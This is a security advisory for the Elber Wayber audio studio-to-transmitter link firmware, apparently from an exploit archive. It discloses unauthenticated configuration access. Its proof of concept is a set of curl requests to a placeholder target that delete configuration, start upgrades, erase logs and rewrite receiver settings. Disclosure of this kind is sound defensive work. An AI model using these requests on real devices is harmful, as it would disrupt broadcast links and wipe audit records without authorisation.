Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- Elber Wayber Analog/Digital Audio STL 4.00 Insecure Direct Object Reference[6]
- Authored by LiquidWorm[7] | Site zeroscience.mk[8]
-
Elber Wayber Analog/Digital Audio STL version 4.00 suffers from an unauthenticated device configuration and client-side hidden functionality disclosure vulnerability.
- SHA-256 |
1f4ca9c99499e4b0297302a26037d992679a7eb1d2c0d0b3b0698bafec7a14cc
- Download[9] | Favorite[10] | View[11]
Change Mirror[12] Download[13]
Elber Wayber Analog/Digital Audio STL 4.00 Device Config
Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)
Summary: Wayber II is the name of an analogue/digital microwave link
able to transport a Mono or a MPX stereo signal from studio to audio
transmitter. Compact and reliable, it features very high quality and
modern technology both in signal processing and microwave section leading
to outstanding performances.
Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.
Tested on: NBFM Controller
embOS/IP
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5823
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5823.php
18.08.2023
--
# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='
Configuration applied
# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully
# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully
# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2'
Logs erased
# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month
# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully
# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()
# Etc.
File Tags
- ActiveX[19] (933)
- Advisory[20] (84,828)
- Arbitrary[21] (16,656)
- BBS[22] (2,859)
- Bypass[23] (1,832)
- CGI[24] (1,032)
- Code Execution[25] (7,633)
- Conference[26] (689)
- Cracker[27] (844)
- CSRF[28] (3,373)
- DoS[29] (24,569)
- Encryption[30] (2,383)
- Exploit[31] (52,830)
- File Inclusion[32] (4,253)
- File Upload[33] (986)
- Firewall[34] (822)
- Info Disclosure[35] (2,849)
- Intrusion Detection[36] (906)
- Java[37] (3,121)
- JavaScript[38] (890)
- Kernel[39] (7,018)
- Local[40] (14,713)
- Magazine[41] (586)
- Overflow[42] (13,048)
- Perl[43] (1,430)
- PHP[44] (5,199)
- Proof of Concept[45] (2,368)
- Protocol[46] (3,695)
- Python[47] (1,600)
- Remote[48] (31,425)
- Root[49] (3,618)
- Rootkit[50] (523)
- Ruby[51] (619)
- Scanner[52] (1,650)
- Security Tool[53] (7,981)
- Shell[54] (3,252)
- Shellcode[55] (1,217)
- Sniffer[56] (900)
- Spoof[57] (2,258)
- SQL Injection[58] (16,538)
- TCP[59] (2,424)
- Trojan[60] (689)
- UDP[61] (897)
- Virus[62] (669)
- Vulnerability[63] (32,598)
- Web[64] (9,877)
- Whitepaper[65] (3,773)
- x86[66] (967)
- XSS[67] (18,177)
- Other[68]
File Archives
- April 2024[69]
- March 2024[70]
- February 2024[71]
- January 2024[72]
- December 2023[73]
- November 2023[74]
- October 2023[75]
- September 2023[76]
- August 2023[77]
- July 2023[78]
- June 2023[79]
- May 2023[80]
- Older[81]
Systems
- AIX[82] (429)
- Apple[83] (2,078)
- BSD[84] (376)
- CentOS[85] (58)
- Cisco[86] (1,927)
- Debian[87] (7,014)
- Fedora[88] (1,693)
- FreeBSD[89] (1,246)
- Gentoo[90] (4,467)
- HPUX[91] (880)
- iOS[92] (373)
- iPhone[93] (108)
- IRIX[94] (220)
- Juniper[95] (69)
- Linux[96] (49,227)
- Mac OS X[97] (691)
- Mandriva[98] (3,105)
- NetBSD[99] (256)
- OpenBSD[100] (488)
- RedHat[101] (15,501)
- Slackware[102] (941)
- Solaris[103] (1,611)
- SUSE[104] (1,444)
- Ubuntu[105] (9,439)
- UNIX[106] (9,391)
- UnixWare[107] (187)
- Windows[108] (6,649)
- Other[109]
- Services
- Security Services[120]
- Hosting By
- Rokasec[121]